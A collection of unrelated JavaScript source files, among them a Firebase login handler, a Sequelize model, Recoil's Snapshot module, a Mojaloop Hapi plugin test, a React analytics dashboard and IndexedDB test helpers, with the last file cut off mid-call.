auth.signInWithEmailAndPassword(email, password).then(function (cred) {
console.log("User logged in successfully using email and password");
db.collection('User').where(firebase.firestore.FieldPath.documentId(), '==', email).get().then(function (snapshot) {
setupGuides(snapshot.docs, type);
});
})["catch"](function (e) {
var failMessage = document.querySelector("#failMessage");
failMessage.innerHTML = "<p style=\"color:red\">*Invalid Login Credentials</p>";
loginForm.reset();
});
});
var setupGuides = function setupGuides(data, inputType) {
data.forEach(function (doc) {
var userType = doc.data().Type;
if (userType === 1 && inputType === 'Student') {
console.log("User Logged In Successfully");
window.location.href = "Routine.html";
} else if (userType === 2 && inputType === 'CR') {
console.log("User Logged In Successfully");
window.location.href = "Routine.html";
} else if (userType === 3 && inputType === 'Faculty') {
console.log("User Logged In Successfully");
window.location.href = "UserProfile.html";
} else if (userType === 4 && inputType === 'Admin') {
console.log("User Logged In Successfully");
window.location.href = "UserProfile.html";
} else {
var failMessage = document.querySelector("#failMessage");
failMessage.innerHTML = "<p style=\"color:red\"> *User is not a ".concat(inputType, "</p>");
auth.signOut();
}
});
};
|
'use strict';
module.exports = (sequelize, DataTypes) => {
const tag = sequelize.define('tag', {
name: DataTypes.STRING,
}, {});
tag.associate = function(models) {
// associations can be defined here
tag.belongsToMany(models.bookmark, { through: 'bookmark_tags',
onDelete: "CASCADE"
})
};
return tag;
};
|
import {
defaultFont,
primaryColor,
dangerColor,
grayColor
} from "assets/jss/material-dashboard-react.js";
import tooltipStyle from "assets/jss/material-dashboard-react/tooltipStyle.js";
import checkboxAdnRadioStyle from "assets/jss/material-dashboard-react/checkboxAdnRadioStyle.js";
const tasksStyle = {
...tooltipStyle,
...checkboxAdnRadioStyle,
table: {
marginBottom: "0",
overflow: "visible"
},
tableRow: {
position: "relative",
display: "flex",
"align-items": "center",
"justify-content": "flex-start",
flex: 1,
borderBottom: "1px solid " + grayColor[5]
},
tableActions: {
display: "flex",
"align-items": "center",
border: "none",
padding: "12px 8px !important",
verticalAlign: "middle"
},
tableCell: {
...defaultFont,
display: "flex",
"align-items": "center",
flex: 1,
padding: "8px",
verticalAlign: "middle",
border: "none",
lineHeight: "1.42857143",
fontSize: "14px"
},
tableCellFlex2: {
...defaultFont,
display: "flex",
flex: 7,
padding: "8px",
verticalAlign: "middle",
border: "none",
lineHeight: "1.42857143",
fontSize: "14px"
},
tableCellRTL: {
textAlign: "right"
},
tableActionButton: {
width: "27px",
height: "27px",
padding: "0"
},
tableActionButtonIcon: {
width: "17px",
height: "17px"
},
cellInput: {
width: "100%"
},
checkbox: {
width: "20px"
},
edit: {
backgroundColor: "transparent",
color: primaryColor[0],
boxShadow: "none"
},
close: {
backgroundColor: "transparent",
color: dangerColor[0],
boxShadow: "none"
}
};
export default tasksStyle;
|
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @emails oncall+recoil
* @flow strict-local
* @format
*/
'use strict';
import type {Loadable} from '../adt/Recoil_Loadable';
import type {
ResetRecoilState,
SetRecoilState,
ValueOrUpdater,
} from '../recoil_values/Recoil_callbackTypes';
import type {RecoilValueInfo} from './Recoil_FunctionalCore';
import type {NodeKey} from './Recoil_Keys';
import type {RecoilState, RecoilValue} from './Recoil_RecoilValue';
import type {StateID, Store, StoreState, TreeState} from './Recoil_State';
const concatIterables = require('../util/Recoil_concatIterables');
const {isSSR} = require('../util/Recoil_Environment');
const err = require('../util/Recoil_err');
const filterIterable = require('../util/Recoil_filterIterable');
const gkx = require('../util/Recoil_gkx');
const nullthrows = require('../util/Recoil_nullthrows');
const recoverableViolation = require('../util/Recoil_recoverableViolation');
const {batchUpdates} = require('./Recoil_Batching');
const {
initializeNodeIfNewToStore,
peekNodeInfo,
} = require('./Recoil_FunctionalCore');
const {graph} = require('./Recoil_Graph');
const {
DEFAULT_VALUE,
recoilValues,
recoilValuesForKeys,
} = require('./Recoil_Node');
const {
AbstractRecoilValue,
getRecoilValueAsLoadable,
setRecoilValue,
setUnvalidatedRecoilValue,
} = require('./Recoil_RecoilValueInterface');
const {updateRetainCount} = require('./Recoil_Retention');
const {
getNextTreeStateVersion,
makeEmptyStoreState,
} = require('./Recoil_State');
// Opaque at this surface because it's part of the public API from here.
export opaque type SnapshotID = StateID;
const retainWarning = `
Recoil Snapshots only last for the duration of the callback they are provided to. To keep a Snapshot longer, do this:
const release = snapshot.retain();
try {
await useTheSnapshotAsynchronously(snapshot);
} finally {
release();
}
This is currently a DEV-only warning but will become a thrown exception in the next release of Recoil.
`;
// A "Snapshot" is "read-only" and captures a specific set of values of atoms.
// However, the data-flow-graph and selector values may evolve as selector
// evaluation functions are executed and async selectors resolve.
class Snapshot {
_store: Store;
_refCount: number = 0;
constructor(storeState: StoreState) {
this._store = {
getState: () => storeState,
replaceState: replacer => {
storeState.currentTree = replacer(storeState.currentTree); // no batching so nextTree is never active
},
getGraph: version => {
const graphs = storeState.graphsByVersion;
if (graphs.has(version)) {
return nullthrows(graphs.get(version));
}
const newGraph = graph();
graphs.set(version, newGraph);
return newGraph;
},
subscribeToTransactions: () => ({release: () => {}}),
addTransactionMetadata: () => {
throw err('Cannot subscribe to Snapshots');
},
};
// Initialize any nodes that are live in the parent store (primarily so that this
// snapshot gets counted towards the node's live stores count).
for (const nodeKey of this._store.getState().nodeCleanupFunctions.keys()) {
initializeNodeIfNewToStore(
this._store,
storeState.currentTree,
nodeKey,
'get',
);
updateRetainCount(this._store, nodeKey, 1);
}
this.retain();
this.autorelease_INTERNAL();
}
retain(): () => void {
if (!gkx('recoil_memory_managament_2020')) {
return () => undefined;
}
this._refCount++;
let released = false;
return () => {
if (!released) {
released = true;
this.release_INTERNAL();
}
};
}
autorelease_INTERNAL(): void {
if (!gkx('recoil_memory_managament_2020')) {
return;
}
if (!isSSR) {
window.setTimeout(() => this.release_INTERNAL(), 0);
}
}
release_INTERNAL(): void {
if (!gkx('recoil_memory_managament_2020')) {
return;
}
this._refCount--;
if (this._refCount === 0) {
// Temporarily nerfing this to allow us to find broken call sites without
// actually breaking anybody yet.
// for (const k of this._store.getState().nodeCleanupFunctions.keys()) {
// updateRetainCountToZero(this._store, k);
// }
}
}
checkRefCount_INTERNAL(): void {
if (gkx('recoil_memory_managament_2020') && this._refCount <= 0) {
if (__DEV__) {
recoverableViolation(retainWarning, 'recoil');
}
// What we will ship later:
// throw err(retainWarning);
}
}
getStore_INTERNAL(): Store {
this.checkRefCount_INTERNAL();
return this._store;
}
getID(): SnapshotID {
this.checkRefCount_INTERNAL();
return this.getID_INTERNAL();
}
getID_INTERNAL(): StateID {
this.checkRefCount_INTERNAL();
return this._store.getState().currentTree.stateID;
}
// We want to allow the methods to be destructured and used as accessors
// eslint-disable-next-line fb-www/extra-arrow-initializer
getLoadable: <T>(RecoilValue<T>) => Loadable<T> = <T>(
recoilValue: RecoilValue<T>,
): Loadable<T> => {
this.checkRefCount_INTERNAL();
return getRecoilValueAsLoadable(this._store, recoilValue);
};
// We want to allow the methods to be destructured and used as accessors
// eslint-disable-next-line fb-www/extra-arrow-initializer
getPromise: <T>(RecoilValue<T>) => Promise<T> = <T>(
recoilValue: RecoilValue<T>,
): Promise<T> => {
this.checkRefCount_INTERNAL();
return this.getLoadable(recoilValue).toPromise();
};
// We want to allow the methods to be destructured and used as accessors
// eslint-disable-next-line fb-www/extra-arrow-initializer
getNodes_UNSTABLE: (
{
isModified?: boolean,
isInitialized?: boolean,
} | void,
) => Iterable<RecoilValue<mixed>> = opt => {
this.checkRefCount_INTERNAL();
// TODO Deal with modified selectors
if (opt?.isModified === true) {
if (opt?.isInitialized === false) {
return [];
}
const state = this._store.getState().currentTree;
return recoilValuesForKeys(state.dirtyAtoms);
}
const knownAtoms = this._store.getState().knownAtoms;
const knownSelectors = this._store.getState().knownSelectors;
return opt?.isInitialized == null
? recoilValues.values()
: opt.isInitialized === true
? recoilValuesForKeys(
concatIterables([
this._store.getState().knownAtoms,
this._store.getState().knownSelectors,
]),
)
: filterIterable(
recoilValues.values(),
({key}) => !knownAtoms.has(key) && !knownSelectors.has(key),
);
};
// Report the current status of a node.
// This peeks the current state and does not affect the snapshot state at all
// eslint-disable-next-line fb-www/extra-arrow-initializer
getInfo_UNSTABLE: <T>(RecoilValue<T>) => RecoilValueInfo<T> = <T>({
key,
}: RecoilValue<T>) => {
this.checkRefCount_INTERNAL();
return peekNodeInfo(this._store, this._store.getState().currentTree, key);
};
// eslint-disable-next-line fb-www/extra-arrow-initializer
map: ((MutableSnapshot) => void) => Snapshot = mapper => {
this.checkRefCount_INTERNAL();
const mutableSnapshot = new MutableSnapshot(this, batchUpdates);
mapper(mutableSnapshot); // if removing batchUpdates from `set` add it here
return cloneSnapshot(mutableSnapshot.getStore_INTERNAL());
};
// eslint-disable-next-line fb-www/extra-arrow-initializer
asyncMap: ((MutableSnapshot) => Promise<void>) => Promise<Snapshot> =
async mapper => {
this.checkRefCount_INTERNAL();
const mutableSnapshot = new MutableSnapshot(this, batchUpdates);
await mapper(mutableSnapshot);
return cloneSnapshot(mutableSnapshot.getStore_INTERNAL());
};
}
function cloneStoreState(
store: Store,
treeState: TreeState,
bumpVersion: boolean = false,
): StoreState {
const storeState = store.getState();
const version = bumpVersion ? getNextTreeStateVersion() : treeState.version;
return {
currentTree: bumpVersion
? {
// TODO snapshots shouldn't really have versions because a new version number
// is always assigned when the snapshot is gone to.
version,
stateID: version,
transactionMetadata: {...treeState.transactionMetadata},
dirtyAtoms: new Set(treeState.dirtyAtoms),
atomValues: treeState.atomValues.clone(),
nonvalidatedAtoms: treeState.nonvalidatedAtoms.clone(),
}
: treeState,
commitDepth: 0,
nextTree: null,
previousTree: null,
knownAtoms: new Set(storeState.knownAtoms), // FIXME here's a copy
knownSelectors: new Set(storeState.knownSelectors), // FIXME here's a copy
transactionSubscriptions: new Map(),
nodeTransactionSubscriptions: new Map(),
nodeToComponentSubscriptions: new Map(),
queuedComponentCallbacks_DEPRECATED: [],
suspendedComponentResolvers: new Set(),
graphsByVersion: new Map().set(version, store.getGraph(treeState.version)),
versionsUsedByComponent: new Map(),
retention: {
referenceCounts: new Map(),
nodesRetainedByZone: new Map(),
retainablesToCheckForRelease: new Set(),
},
nodeCleanupFunctions: new Map(),
};
}
// Factory to build a fresh snapshot
function freshSnapshot(initializeState?: MutableSnapshot => void): Snapshot {
const snapshot = new Snapshot(makeEmptyStoreState());
return initializeState != null ? snapshot.map(initializeState) : snapshot;
}
// Factory to clone a snapahot state
function cloneSnapshot(
store: Store,
version: 'current' | 'previous' = 'current',
): Snapshot {
const storeState = store.getState();
const treeState =
version === 'current'
? storeState.currentTree
: nullthrows(storeState.previousTree);
return new Snapshot(cloneStoreState(store, treeState));
}
class MutableSnapshot extends Snapshot {
_batch: (() => void) => void;
constructor(snapshot: Snapshot, batch: (() => void) => void) {
super(
cloneStoreState(
snapshot.getStore_INTERNAL(),
snapshot.getStore_INTERNAL().getState().currentTree,
true,
),
);
this._batch = batch;
}
// We want to allow the methods to be destructured and used as accessors
// eslint-disable-next-line fb-www/extra-arrow-initializer
set: SetRecoilState = <T>(
recoilState: RecoilState<T>,
newValueOrUpdater: ValueOrUpdater<T>,
) => {
this.checkRefCount_INTERNAL();
const store = this.getStore_INTERNAL();
// This batchUpdates ensures this `set` is applied immediately and you can
// read the written value after calling `set`. I would like to remove this
// behavior and only batch in `Snapshot.map`, but this would be a breaking
// change potentially.
this._batch(() => {
updateRetainCount(store, recoilState.key, 1);
setRecoilValue(this.getStore_INTERNAL(), recoilState, newValueOrUpdater);
});
};
// We want to allow the methods to be destructured and used as accessors
// eslint-disable-next-line fb-www/extra-arrow-initializer
reset: ResetRecoilState = <T>(recoilState: RecoilState<T>) => {
this.checkRefCount_INTERNAL();
const store = this.getStore_INTERNAL();
// See note at `set` about batched updates.
this._batch(() => {
updateRetainCount(store, recoilState.key, 1);
setRecoilValue(this.getStore_INTERNAL(), recoilState, DEFAULT_VALUE);
});
};
// We want to allow the methods to be destructured and used as accessors
// eslint-disable-next-line fb-www/extra-arrow-initializer
setUnvalidatedAtomValues_DEPRECATED: (Map<NodeKey, mixed>) => void = (
values: Map<NodeKey, mixed>,
) => {
this.checkRefCount_INTERNAL();
const store = this.getStore_INTERNAL();
// See note at `set` about batched updates.
batchUpdates(() => {
for (const [k, v] of values.entries()) {
updateRetainCount(store, k, 1);
setUnvalidatedRecoilValue(store, new AbstractRecoilValue(k), v);
}
});
};
}
module.exports = {
Snapshot,
MutableSnapshot,
freshSnapshot,
cloneSnapshot,
};
|
/*****
License
--------------
Copyright © 2017 Bill & Melinda Gates Foundation
The Mojaloop files are made available by the Bill & Melinda Gates Foundation under the Apache License, Version 2.0 (the "License") and you may not use these files except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, the Mojaloop files are distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
Contributors
--------------
This is the official list of the Mojaloop project contributors for this file.
Names of the original copyright holders (individuals or organizations)
should be listed with a '*' in the first column. People who have
contributed from an organization can be listed under the organization
that actually holds the copyright for their contributions (see the
Gates Foundation organization for an example). Those individuals should have
their names indented and be marked with a '-'. Email address can be added
optionally within square brackets <email>.
* Gates Foundation
- Name Surname <name.surname@gatesfoundation.com>
* ModusBox
- Georgi Georgiev <georgi.georgiev@modusbox.com>
- Neal Donnan <neal.donnan@modusbox.com>
--------------
******/
'use strict'
const Hapi = require('@hapi/hapi')
const ErrorHandler = require('@mojaloop/central-services-error-handling')
const Test = require('tapes')(require('tape'))
const Sinon = require('sinon')
const Logger = require('@mojaloop/central-services-logger')
Test('Event plugin test', async (pluginTest) => {
let server
let sandbox
pluginTest.beforeEach(async test => {
sandbox = Sinon.createSandbox()
sandbox.stub(Logger, 'isDebugEnabled').value(true)
server = await new Hapi.Server({
host: 'localhost',
port: 8800
})
await server.register([
ErrorHandler,
{ plugin: require('../../../../../src/util/hapi/plugins/eventPlugin') }
])
await server.start()
test.end()
})
pluginTest.afterEach(async test => {
await server.stop()
sandbox.restore()
test.end()
})
await pluginTest.test('create and finish a span for a route with the sampled tag', async assert => {
try {
let span
server.route({
method: 'POST',
path: '/',
handler: (request) => {
span = request.span
return 'testing'
},
options: {
id: 'test_route',
tags: ['sampled']
}
})
const response = await server.inject({
method: 'POST',
url: '/'
})
assert.equal(response.statusCode, 200, 'status code is correct')
assert.ok(span)
assert.ok(span.isFinished)
assert.equal(span.spanContext.service, 'test_route')
assert.end()
} catch (e) {
assert.fail()
assert.end()
}
})
await pluginTest.test('create and finish a child span with http context headers', async assert => {
try {
let span
server.route({
method: 'POST',
path: '/',
handler: (request) => {
span = request.span
return 'testing'
},
options: {
id: 'test_route',
tags: ['sampled']
}
})
const traceId = '9732ca939fbd9f755b5bc07c227c4cd5'
const spanId = '74c6557725f1f0e1'
const response = await server.inject({
method: 'POST',
url: '/',
headers: {
tracestate: `acmevendor=${Buffer.from(JSON.stringify({ spanId })).toString('base64')}`,
traceparent: `00-${traceId}-${spanId}-00`
}
})
assert.equal(response.statusCode, 200, 'status code is correct')
assert.ok(span)
assert.ok(span.isFinished)
assert.equal(span.spanContext.service, 'test_route')
assert.equal(span.spanContext.traceId, '9732ca939fbd9f755b5bc07c227c4cd5')
assert.equal(span.spanContext.parentSpanId, spanId)
assert.end()
} catch (e) {
assert.fail()
assert.end()
}
})
await pluginTest.test('do not create a span for a route without the sampled tag', async assert => {
try {
let span
server.route({
method: 'POST',
path: '/',
handler: (request) => {
span = request.span
return 'testing'
},
options: {
id: 'test_route'
}
})
const response = await server.inject({
method: 'POST',
url: '/'
})
assert.equal(response.statusCode, 200, 'status code is correct')
assert.notOk(span)
assert.end()
} catch (e) {
assert.fail()
assert.end()
}
})
await pluginTest.test('log an error if the response is an error', async assert => {
try {
let span
server.route({
method: 'POST',
path: '/',
handler: (request) => {
span = request.span
throw Error('testing')
},
options: {
id: 'test_route',
tags: ['sampled']
}
})
const response = await server.inject({
method: 'POST',
url: '/'
})
assert.equal(response.statusCode, 500, 'status code is correct')
assert.ok(span)
assert.ok(span.isFinished)
assert.equal(span.spanContext.service, 'test_route')
assert.end()
} catch (e) {
assert.fail()
assert.end()
}
})
await pluginTest.test('handle an fspiop error', async assert => {
try {
let span
server.route({
method: 'POST',
path: '/',
handler: (request) => {
span = request.span
throw Error('testing')
},
options: {
id: 'test_route',
tags: ['sampled']
}
})
const response = await server.inject({
method: 'POST',
url: '/'
})
assert.equal(response.statusCode, 500, 'status code is correct')
assert.ok(span)
assert.ok(span.isFinished)
assert.equal(span.spanContext.service, 'test_route')
assert.end()
} catch (e) {
assert.fail()
assert.end()
}
})
await pluginTest.end()
})
|
import { inject as service } from '@ember/service';
import { readOnly, notEmpty } from '@ember/object/computed';
import Controller, { inject as controller } from '@ember/controller';
import { computed } from '@ember/object';
export default Controller.extend({
application: controller(),
component: service(),
currentRouteName: readOnly('application.currentRouteName'),
isDetailPage: notEmpty('currentComponent'),
currentComponent: computed('currentRouteName', function() {
let routeName = this.get('currentRouteName');
let routeParts = routeName.split('.');
if (routeParts.length > 2) {
routeName = routeParts.slice(0, 2).join('.');
}
return this.get('component.models').findBy('demoRoute', routeName);
})
});
|
import React, { PropTypes } from 'react';
import {Link} from 'react-router-dom';
import { connect } from 'react-redux';
import axios from 'axios';
import CountUp from 'react-countup';
import Chart from './Chart';
import Map from './Map';
class MyVariant extends React.Component {
constructor(props) {
super(props);
this.state={
sessionsURL:'https://gasuperproxy-1470690417190.appspot.com/query?id=ahxzfmdhc3VwZXJwcm94eS0xNDcwNjkwNDE3MTkwchULEghBcGlRdWVyeRiAgICA-MKECgw',
analyticsURL : ' https://gasuperproxy-1470690417190.appspot.com/query?id=ahxzfmdhc3VwZXJwcm94eS0xNDcwNjkwNDE3MTkwchULEghBcGlRdWVyeRiAgIDA05CWCQw',
realtimeURL:'https://gasuperproxy-1470690417190.appspot.com/query?id=ahxzfmdhc3VwZXJwcm94eS0xNDcwNjkwNDE3MTkwchULEghBcGlRdWVyeRiAgICgwteGCgw',
pagesURL:'https://gasuperproxy-1470690417190.appspot.com/query?id=ahxzfmdhc3VwZXJwcm94eS0xNDcwNjkwNDE3MTkwchULEghBcGlRdWVyeRiAgIDAk4eHCgw',
actionsURL:'https://gasuperproxy-1470690417190.appspot.com/query?id=ahxzfmdhc3VwZXJwcm94eS0xNDcwNjkwNDE3MTkwchULEghBcGlRdWVyeRiAgIDA05CWCgw',
activeUsers: 0,
totalUsers: 0,
results:[],
lastActiveUsers:0,
mapData:[],
pages: [],
activeUsersHistory:[],
timer: null,
devices:[],
totalSessions: 0,
}
this.fetchAnalyticsData = this.fetchAnalyticsData.bind(this);
this.fetchRealtimeUsers = this.fetchRealtimeUsers.bind(this);
this.shapeMapData = this.shapeMapData.bind(this);
// this.addComma = this.addComma.bind(this);
this.getUniqueItemsInTopPages = this.getUniqueItemsInTopPages.bind(this);
this.drawPages = this.drawPages.bind(this);
this.drawActions = this.drawActions.bind(this);
}
// addComma(number){
// return number.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",");
// }
getUniqueItemsInTopPages(list){
let pages =[]
for (var i = 0; i < this.state.results.length; i++) {
if (this.state.results[i][5] === '/') {
this.state.results[i][5] = 'mygene.info/'
}
pages.push(this.state.results[i][5])
}
pages = pages.filter((x, i, a) => a.indexOf(x) == i)
this.setState({
'pages': pages
})
}
drawPages(){
axios.get(this.state.pagesURL).then(response=>{
let res =[];
let arr = response.data.rows;
res.push(['Endpoint', 'Sessions']);
for (var i = 0; i < arr.length; i++) {
res.push([arr[i][0],parseFloat(arr[i][1])]);
}
google.charts.load('current', {packages: ['corechart', 'bar']});
google.charts.setOnLoadCallback(drawBasic);
function drawBasic() {
var data = google.visualization.arrayToDataTable(res);
var options = {
legend: {position: 'none'},
title: 'Top 5 Endpoints',
chartArea: {width: '50%'},
hAxis: {
title: 'Sessions',
minValue: 0
},
vAxis: {
title: 'Endpoint'
},
'tooltip' : {
isHtml: true
}
};
var chart = new google.visualization.BarChart(document.getElementById('chart_pages'));
chart.draw(data, options);
}
})
}
drawActions(){
axios.get(this.state.actionsURL).then(response=>{
let res =[];
let arr = response.data.rows;
res.push(['Action', 'Sessions']);
for (var i = 0; i < arr.length; i++) {
res.push([arr[i][0],parseFloat(arr[i][1])]);
}
google.charts.load('current', {packages: ['corechart', 'bar']});
google.charts.setOnLoadCallback(drawBasic);
function drawBasic() {
var data = google.visualization.arrayToDataTable(res);
var options = {
legend: {position: 'none'},
title: 'Top 5 Requests',
chartArea: {width: '50%'},
hAxis: {
title: 'Sessions',
minValue: 0
},
vAxis: {
title: 'Request'
},
'tooltip' : {
isHtml: true
}
};
var chart = new google.visualization.BarChart(document.getElementById('chart_actions'));
chart.draw(data, options);
}
})
}
fetchAnalyticsData(){
var self = this;
axios.get(self.state.analyticsURL).then(res=>{
this.setState({
'results': res.data
})
this.shapeMapData();
}).catch(err=>{
throw err;
})
axios.get(self.state.sessionsURL).then(res=>{
let users = parseInt(res.data['totalsForAllResults']['ga:sessions']);
this.props.pushReqData(users);
this.setState({
'totalSessions': users
})
}).catch(err=>{
throw err;
})
}
fetchRealtimeUsers(){
axios.get(this.state.realtimeURL).then(response=>{
let users = parseInt(response.data.totalsForAllResults['rt:activeUsers']);
this.setState({
activeUsers: users
});
this.state.activeUsersHistory.push(users)
if (this.state.activeUsersHistory.length > 10) {
this.state.activeUsersHistory.shift();
}
this.props.updateHistory(users);
this.props.sendChartData(this.props.mvHistory);
}).catch(err=>{
throw err;
})
}
shapeMapData(){
let res =[]
let arr = this.state.results.rows;
for (var i = 0; i < arr.length; i++) {
let lat = parseFloat(arr[i][3]);
let long = parseFloat(arr[i][2]);
let obj ={'api':'MyVariant','name': arr[i][1]+', '+arr[i][0],'coordinates':[lat,long],'users': arr[i][4] };
res.push(obj);
}
this.setState({
'mapData': res
});
this.props.sendMapData(this.state.mapData);
this.props.pushMapData(this.state.mapData);
}
componentDidMount(){
var self = this;
this.fetchAnalyticsData();
this.fetchRealtimeUsers();
this.drawPages();
this.drawActions();
this.timer =setInterval(function(){
self.setState({
lastActiveUsers: self.state.activeUsers
})
self.fetchRealtimeUsers();
}, 60000);
}
componentWillUnmount() {
clearInterval(this.timer);
this.props.sendMapData([]);
}
render() {
return (
<section className="margin0Auto padding20 centerText mV-back2">
<div className="container">
<div className="row">
<div className="col-sm-12 col-md-12 col-lg-12">
<img src="/static/img/screw.png" className="screwTopRight"/>
<img src="/static/img/screw.png" className="screwTopLeft"/>
<img src="/static/img/screw.png" className="screwBottomRight"/>
<img src="/static/img/screw.png" className="screwBottomLeft"/>
<div className=" row activeUsersBoxTest">
<div className="col-sm-12 col-md-4 col-lg-4">
<img src="/static/img/myvariant-text.png" width="300px" className="margin20 dropShadow"/>
<h4 className="whiteText">Active Users Right Now</h4>
<CountUp className="whiteText activeUsers-MyVariant"
start={this.state.lastActiveUsers}
end={this.state.activeUsers}
duration={3}
separator=","/>
</div>
<Chart panel="MyVariant" className="col-sm-12 col-md-4 col-lg-4"/>
<div className="col-sm-12 col-md-4 col-lg-4 text-center">
<button style={{'marginBottom':'10px'}} className='btn btn-outline-dark refreshBtn' onClick={this.fetchAnalyticsData}>Refresh</button>
<h1 className="text-muted whiteGlass font-weight-bold">
<CountUp className="text-muted"
start={0}
end={this.state.totalSessions}
duration={3}
separator=","/>
</h1>
<h5 style={{color:'#b1b1b1'}}>
Requests in the Last 30 Days
</h5>
</div>
</div>
</div>
<div id='charts' className='activeUsersBoxTest col-sm-12 col-md-12 col-lg-12' style={{display:'flex', flexWrap:'wrap'}}>
<img src="/static/img/screw.png" className="screwTopRight"/>
<img src="/static/img/screw.png" className="screwTopLeft"/>
<img src="/static/img/screw.png" className="screwBottomRight"/>
<img src="/static/img/screw.png" className="screwBottomLeft"/>
<div id="chart_pages" style={{flex:1}}></div>
<div id="chart_actions" style={{flex:1}}></div>
</div>
<div className='activeUsersBoxTest col-sm-12 col-md-12 col-lg-12 mapContainer'>
<img src="/static/img/screw.png" className="screwTopRight"/>
<img src="/static/img/screw.png" className="screwTopLeft"/>
<img src="/static/img/screw.png" className="screwBottomRight"/>
<img src="/static/img/screw.png" className="screwBottomLeft"/>
<Map color='#83fb48' api='MV'/>
</div>
</div>
</div>
</section>
);
}
}
function mapStateToProps(state) {
return {
//will make the user object from redux store available as props.user to this component
user : state.user,
mvHistory: state.mvHistory
}
}
function mapDispatchToProps(dispatch) {
return {
sendMapData: (value)=>{
const action = {type: "UPDATE-MAP", payload: value};
dispatch(action);
},
sendMap100Users: (value)=>{
const action = {type: "UPDATE-MAP-100", payload: value};
dispatch(action);
},
sendChartData: (value)=>{
const action = {type: "UPDATE-CHART", payload: value};
dispatch(action);
},
updateHistory: (value)=>{
const action = {type: "PUSH-TO-MVHISTORY", payload: value};
dispatch(action);
},
pushReqData: (value)=>{
const action = {type: "MV-REQUESTS", payload: value};
dispatch(action);
},
pushMapData: (value)=>{
const action = {type: "MV-MAP", payload: value};
dispatch(action);
}
}
}
export default connect(
mapStateToProps, mapDispatchToProps
)(MyVariant)
|
require("../wpt-env.js");
/* Delete created databases
*
* Go through each finished test, see if it has an associated database. Close
* that and delete the database. */
add_completion_callback(function(tests)
{
for (var i in tests)
{
if(tests[i].db)
{
tests[i].db.close();
self.indexedDB.deleteDatabase(tests[i].db.name);
}
}
});
function fail(test, desc) {
return test.step_func(function(e) {
if (e && e.message && e.target.error)
assert_unreached(desc + " (" + e.target.error.name + ": " + e.message + ")");
else if (e && e.message)
assert_unreached(desc + " (" + e.message + ")");
else if (e && e.target.readyState === 'done' && e.target.error)
assert_unreached(desc + " (" + e.target.error.name + ")");
else
assert_unreached(desc);
});
}
function createdb(test, dbname, version)
{
var rq_open = createdb_for_multiple_tests(dbname, version);
return rq_open.setTest(test);
}
function createdb_for_multiple_tests(dbname, version) {
var rq_open,
fake_open = {},
test = null,
dbname = (dbname ? dbname : "testdb-" + new Date().getTime() + Math.random() );
if (version)
rq_open = self.indexedDB.open(dbname, version);
else
rq_open = self.indexedDB.open(dbname);
function auto_fail(evt, current_test) {
/* Fail handlers, if we haven't set on/whatever/, don't
* expect to get event whatever. */
rq_open.manually_handled = {};
rq_open.addEventListener(evt, function(e) {
if (current_test !== test) {
return;
}
test.step(function() {
if (!rq_open.manually_handled[evt]) {
assert_unreached("unexpected open." + evt + " event");
}
if (e.target.result + '' == '[object IDBDatabase]' &&
!this.db) {
this.db = e.target.result;
this.db.onerror = fail(test, 'unexpected db.error');
this.db.onabort = fail(test, 'unexpected db.abort');
this.db.onversionchange =
fail(test, 'unexpected db.versionchange');
}
});
});
rq_open.__defineSetter__("on" + evt, function(h) {
rq_open.manually_handled[evt] = true;
if (!h)
rq_open.addEventListener(evt, function() {});
else
rq_open.addEventListener(evt, test.step_func(h));
});
}
// add a .setTest method to the IDBOpenDBRequest object
Object.defineProperty(rq_open, 'setTest', {
enumerable: false,
value: function(t) {
test = t;
auto_fail("upgradeneeded", test);
auto_fail("success", test);
auto_fail("blocked", test);
auto_fail("error", test);
return this;
}
});
return rq_open;
}
function assert_key_equals(actual, expected, description) {
assert_equals(indexedDB.cmp(actual, expected), 0, description);
}
function indexeddb_test(upgrade_func, open_func, description, options) {
async_test(function(t) {
options = Object.assign({upgrade_will_abort: false}, options);
var dbname = location + '-' + t.name;
var del = indexedDB.deleteDatabase(dbname);
del.onerror = t.unreached_func('deleteDatabase should succeed');
var open = indexedDB.open(dbname, 1);
open.onupgradeneeded = t.step_func(function() {
var db = open.result;
t.add_cleanup(function() {
// If open didn't succeed already, ignore the error.
open.onerror = function(e) {
e.preventDefault();
};
db.close();
indexedDB.deleteDatabase(db.name);
});
var tx = open.transaction;
upgrade_func(t, db, tx, open);
});
if (options.upgrade_will_abort) {
open.onsuccess = t.unreached_func('open should not succeed');
} else {
open.onerror = t.unreached_func('open should succeed');
open.onsuccess = t.step_func(function() {
var db = open.result;
if (open_func)
open_func(t, db, open);
});
}
}, description);
}
// Call with a Test and an array of expected results in order. Returns
// a function; call the function when a result arrives and when the
// expected number appear the order will be asserted and test
// completed.
function expect(t, expected) {
var results = [];
return result => {
results.push(result);
if (results.length === expected.length) {
assert_array_equals(results, expected);
t.done();
}
};
}
// Checks to see if the passed transaction is active (by making
// requests against the named store).
function is_transaction_active(tx, store_name) {
try {
const request = tx.objectStore(store_name).get(0);
request.onerror = e => {
e.preventDefault();
e.stopPropagation();
};
return true;
} catch (ex) {
assert_equals(ex.name, 'TransactionInactiveError',
'Active check should either not throw anything, or throw ' +
'TransactionInactiveError');
return false;
}
}
// Keeps the passed transaction alive indefinitely (by making requests
// against the named store). Returns a function that asserts that the
// transaction has not already completed and then ends the request loop so that
// the transaction may autocommit and complete.
function keep_alive(tx, store_name) {
let completed = false;
tx.addEventListener('complete', () => { completed = true; });
let keepSpinning = true;
function spin() {
if (!keepSpinning)
return;
tx.objectStore(store_name).get(0).onsuccess = spin;
}
spin();
return () => {
assert_false(completed, 'Transaction completed while kept alive');
keepSpinning = false;
};
}
indexeddb_test(
(t, db) => {
db.createObjectStore('s');
},
(t, db) => {
db.close();
assert_throws('InvalidStateError', () => {
db.transaction('no-such-store');
}, '"Connection is closed" check (InvalidStateError) should precede ' +
'"store names" check (NotFoundError)');
t.done();
},
'IDBDatabase.transaction exception order: InvalidStateError vs. NotFoundError'
);
indexeddb_test(
(t, db) => {
db.createObjectStore('s');
},
(t, db) => {
db.close();
assert_throws('InvalidStateError', () => {
db.transaction([]);
}, '"Connection is closed" check (InvalidStateError) should precede ' +
'"stores is empty" check (InvalidAccessError)');
t.done();
},
